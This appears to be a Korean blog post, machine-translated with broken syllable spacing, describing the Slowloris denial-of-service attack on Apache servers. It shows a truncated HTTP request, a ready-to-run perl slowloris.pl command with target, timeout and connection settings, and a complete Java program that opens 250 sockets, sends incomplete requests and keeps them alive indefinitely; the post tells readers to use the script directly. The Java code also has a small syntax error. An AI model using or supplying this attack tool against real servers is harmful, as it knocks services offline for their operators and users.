Slowloris 서비스 거부 공격
GET / HTTP/1.1\r
HOST: host\r
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r
Content-Length: 42\r
\r
마지막 두 개의\r 는 http 요청 헤더 가 끝 났 음 을 표시 합 니 다.만약 에 우리 가 하 나 를 지우 면 이 가방 이 완성 되 지 않 았 음 을 표시 합 니 다.그러면 서버 는 클 라 이언 트 가 이 가방 의 나머지 부분 을 계속 보 낼 때 까지 기다 릴 것 입 니 다.이때 클 라 이언 트 는 임의의 HTTP 헤드 를 보 내 고 연결 을 유지 하면 됩 니 다.X-a:b\r 는 여러 개의 연결 을 구성 하면 서버 의 연결 수가 곧 상한 에 도달 할 것 이다.apache 의 기본 연결 수 150 개 이기 때문에 저 희 는 150 개의 연결 만 구축 하면 apache 는 새로운 요청 을 처리 하고 서 비 스 를 거부 할 수 없습니다.슬 로 우 로 리 스 공격 에 대해,http://ckers.org/slowloris/스 크 립 트 를 제공 합 니 다.직접 사용 하면 됩 니 다.perl 로 썼 습 니 다.perl 환경 만 있 으 면 됩 니 다.perl slowloris.pl -dns www.hostname.com -port 80 -timeout 200 -num 150
timeout 은 너무 짧게 설정 하지 마 세 요.num 은 몇 개의 연결 을 만 드 는 지 말 합 니 다.잠시 실행 하고 대상 애플 리 케 이 션 을 보면 연결 수가 가득 차 야 합 니 다.원 리 를 알 게 되면 우 리 는 스스로 코드 를 써 서 이런 요 구 를 구성 할 수 있다.다음은 자바 로 쓴 간단 한 예 입 니 다. package com.yeetrack.test;
import java.io.DataOutputStream; import java.io.IOException; import java.net.Socket; import java.net.UnknownHostException; import java.util.ArrayList; import java.util.List; /** * @author youthflies * */ public class SlowlorisTest { /** * @param args * @throws IOException * @throws UnknownHostException * @throws InterruptedException */ public static void main(String[] args) throws InterruptedException, UnknownHostException { // TODO Auto-generated method stub int count = 250; List sockets = new ArrayList(); List dataOutputStreams = new ArrayList(); //연결 만 들 기 for(int i=1;i<=count;i++) { Socket client = null; try { client = new Socket("www.hostname", 80); sockets.add(client); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("연결 만 들 기-"+i);}//불완전한 http 요청 for(int j=0;j<=sockets.size()-1;j++) { try { DataOutputStream outputStream = new DataOutputStream(sockets.get(j).getOutputStream()); dataOutputStreams.add(outputStream); outputStream.writeBytes(" GET / HTTP/1.1\r" +"Host: www.hostname:80\r" +"Connection: keep-alive\r" +"Content-Length: 42\r"); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("부분 http 요청 보 내기-"+j);}//연결 유지 while(true){for(int i=0;i<=dataOutputStreams.size()-1;i++) { try { dataOutputStreams.get(i).writeBytes("TimeStamp:"+System.currentTimeMillis()); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("데 이 터 를 보 내 연결 유지"+System.currentTimeMillis();Thread.sleep(1000); } } } } 쓰다 ps-ef|grep httpd|wc-l Liux 에서 apache 의 연결 수량 을 볼 수 있 습 니 다.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
Is Eclipse IDE dying?In 2014 the Eclipse IDE is the leading development environment for Java with a market share of approximately 65%. but ac...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.